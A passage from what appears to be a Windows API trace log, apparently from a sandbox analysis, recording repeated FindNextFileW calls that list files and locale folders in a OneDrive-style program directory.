ftLastWriteTime.dwLowDateTime=0xf6e73bdf, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x3d0c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Qt5WinExtras.dll", cAlternateFileName="QT5WIN~1.DLL")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf72ed277, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf72ed277, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf72ed277, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x2266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QuotaCritical.png", cAlternateFileName="QUOTAC~1.PNG")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7909300, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf7909300, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf7c2a4eb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QuotaError.png", cAlternateFileName="QUOTAE~1.PNG")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81adb87, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf81adb87, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf81adb87, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x1d59, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QuotaNearing.png", cAlternateFileName="QUOTAN~1.PNG")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x152d3757, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x152d3757, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x152d3757, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="qut-latn", cAlternateFileName="")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1568d220, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1568d220, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1568d220, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="quz-pe", cAlternateFileName="")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86e4df2, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf86e4df2, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf86e4df2, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x9f2c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RemoteAccess.dll", cAlternateFileName="REMOTE~1.DLL")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x159fa847, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x159fa847, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x159fa847, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15dbd7f6, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x15dbd7f6, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x15dbd7f6, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16147b9c, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x16147b9c, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x16147b9c, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rw", cAlternateFileName="")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8bf5e88, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf8bf5e88, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf8bf5e88, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x3b721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ScreenshotOptIn.gif", cAlternateFileName="SCREEN~1.GIF")) returned 1 [0203.824] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16556b53, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x16556b53, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x16556b53, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sd-arab", cAlternateFileName="")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16979d0b, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x16979d0b, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x16979d0b, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="si-lk", cAlternateFileName="")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d337e2, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x16d337e2, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x16d337e2, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17290ce0, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x17290ce0, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x17290ce0, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17696c23, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x17696c23, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x17696c23, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sq", cAlternateFileName="")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf90946f8, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf90946f8, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf90946f8, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x320c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17a76958, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x17a76958, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x17a76958, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-cyrl-ba", cAlternateFileName="SR-CYR~1")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17e7c8e2, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x17e7c8e2, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x17e7c8e2, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-cyrl-rs", cAlternateFileName="SR-CYR~2")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1863c348, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1863c348, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1863c348, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-latn-rs", cAlternateFileName="SR-LAT~1")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf95a570f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf95a570f, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf95a570f, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x478c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ssleay32.dll", cAlternateFileName="")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18a422dd, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x18a422dd, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x18a422dd, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18e22011, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x18e22011, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x18e22011, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sw", cAlternateFileName="")) returned 1 [0203.825] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b752e5, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf9b752e5, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf9b752e5, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x53d8c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SyncEngine.dll", cAlternateFileName="SYNCEN~1.DLL")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x191dbad7, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x191dbad7, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x191dbad7, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ta", cAlternateFileName="")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1967a3da, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1967a3da, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1967a3da, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="te", cAlternateFileName="")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa321b21, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfa321b21, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfa321b21, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x52ec8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Telemetry.dll", cAlternateFileName="TELEME~1.DLL")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaa229e0, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfaa229e0, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfaa229e0, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TestSharePage.html", cAlternateFileName="TESTSH~1.HTM")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19a208eb, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x19a208eb, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x19a208eb, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tg-cyrl", cAlternateFileName="")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19e72d5c, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x19e72d5c, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x19e72d5c, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc05689e, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfc05689e, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfc05689e, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ThirdPartyNotices.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a4db277, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1a4db277, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1a4db277, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ti", cAlternateFileName="")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a979b36, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1a979b36, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1a979b36, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tk-tm", cAlternateFileName="")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ae68634, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1ae68634, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1ae68634, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tn-za", cAlternateFileName="")) returned 1 [0203.826] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b1f8171, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1b1f8171, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1b1f8171, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b624355, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1b624355, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1b624355, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tt", cAlternateFileName="")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc7314f6, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfc7314f6, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfc75774c, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x116cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba50552, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1ba50552, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1ba50552, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ug-arab", cAlternateFileName="")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bea2990, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1bea2990, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1bea2990, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce324a4, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfce324a4, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfce324a4, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x18ec8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UpdateRingSettings.dll", cAlternateFileName="UPDATE~1.DLL")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c2826be, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1c2826be, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1c2826be, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ur", cAlternateFileName="")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c63c195, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1c63c195, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1c63c195, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uz-latn-uz", cAlternateFileName="UZ-LAT~1")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4c0b1f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfd4c0b1f, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfd4c0b1f, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x144c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cb733f2, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1cb733f2, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1cb733f2, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdb654d9, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfdb654d9, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfdb654d9, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0xa21, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Warning.png", cAlternateFileName="")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe45622b, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfe45622b, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfe4c891e, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x626c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WnsClientApi.dll", cAlternateFileName="WNSCLI~1.DLL")) returned 1 [0203.827] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cf79383, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1cf79383, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1cf79383, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wo", cAlternateFileName="")) returned 1 [0203.828] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d332e5a, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1d332e5a, ftLastAccessTime.dwHighDateTime=0x1d38c44, 